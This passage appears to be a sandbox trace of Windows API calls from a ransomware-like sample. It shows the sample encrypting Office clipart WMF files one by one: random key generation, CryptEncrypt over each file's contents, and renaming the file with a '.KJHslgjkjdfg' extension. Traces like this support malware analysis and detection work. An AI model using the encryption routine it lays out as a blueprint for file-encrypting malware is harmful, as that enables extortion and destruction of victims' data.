hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.507] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.507] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.509] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.509] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.509] GetProcessHeap () returned 0x990000 [0206.509] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.509] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.509] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.509] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.510] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.510] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.510] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.510] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.510] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.510] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.510] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3d5c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3d5c, lpOverlapped=0x0) returned 1 [0206.511] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d60, dwBufLen=0x3d60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d60) returned 1 [0206.511] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.512] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d60, lpOverlapped=0x0) returned 1 [0206.512] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.512] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.512] SetEndOfFile (hFile=0x130) returned 1 [0206.515] GetProcessHeap () returned 0x990000 [0206.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.515] GetProcessHeap () returned 0x990000 [0206.515] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.515] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf.kjhslgjkjdfg")) returned 1 [0206.517] CloseHandle (hObject=0x130) returned 1 [0206.517] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f647900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f647900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00049_.WMF", cAlternateFileName="")) returned 1 [0206.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.520] GetProcessHeap () returned 0x990000 [0206.520] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.520] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.520] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.520] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.520] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.520] GetProcessHeap () returned 0x990000 [0206.520] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.520] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.520] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.520] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.523] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.523] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.523] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.523] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.523] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.523] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.523] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4040, lpOverlapped=0x0) returned 1 [0206.524] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4040, dwBufLen=0x4040 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4040) returned 1 [0206.525] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.525] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4040, lpOverlapped=0x0) returned 1 [0206.525] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.525] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.525] SetEndOfFile (hFile=0x130) returned 1 [0206.528] GetProcessHeap () returned 0x990000 [0206.528] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.528] GetProcessHeap () returned 0x990000 [0206.528] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.528] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf.kjhslgjkjdfg")) returned 1 [0206.529] CloseHandle (hObject=0x130) returned 1 [0206.530] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e334c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e334c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4d18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00050_.WMF", cAlternateFileName="")) returned 1 [0206.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.531] GetProcessHeap () returned 0x990000 [0206.531] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.531] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.531] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.531] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.533] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.534] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.534] GetProcessHeap () returned 0x990000 [0206.534] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.534] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.534] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.534] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.534] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.534] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.534] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.534] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.534] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.534] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.535] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4d18, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4d18, lpOverlapped=0x0) returned 1 [0206.536] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4d20, dwBufLen=0x4d20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4d20) returned 1 [0206.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.536] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4d20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4d20, lpOverlapped=0x0) returned 1 [0206.536] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.536] SetEndOfFile (hFile=0x130) returned 1 [0206.539] GetProcessHeap () returned 0x990000 [0206.539] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.539] GetProcessHeap () returned 0x990000 [0206.539] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf.kjhslgjkjdfg")) returned 1 [0206.541] CloseHandle (hObject=0x130) returned 1 [0206.541] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d021f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d021f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x47ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00052_.WMF", cAlternateFileName="")) returned 1 [0206.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.542] GetProcessHeap () returned 0x990000 [0206.542] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.542] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.542] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.546] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.546] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.546] GetProcessHeap () returned 0x990000 [0206.546] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.546] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.546] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.546] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.546] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.546] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.546] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.546] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.546] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.547] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.547] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.619] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.619] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x47ec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x47ec, lpOverlapped=0x0) returned 1 [0206.620] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x47f0, dwBufLen=0x47f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x47f0) returned 1 [0206.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.620] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x47f0, lpOverlapped=0x0) returned 1 [0206.620] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x48c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.621] SetEndOfFile (hFile=0x130) returned 1 [0206.624] GetProcessHeap () returned 0x990000 [0206.624] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.624] GetProcessHeap () returned 0x990000 [0206.624] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf.kjhslgjkjdfg")) returned 1 [0206.626] CloseHandle (hObject=0x130) returned 1 [0206.626] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00231_.WMF", cAlternateFileName="")) returned 1 [0206.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.627] GetProcessHeap () returned 0x990000 [0206.627] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.627] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.627] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0206.666] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.666] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.666] GetProcessHeap () returned 0x990000 [0206.666] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.666] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.666] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.666] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.666] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.666] WriteFile (in: hFile=0x130, 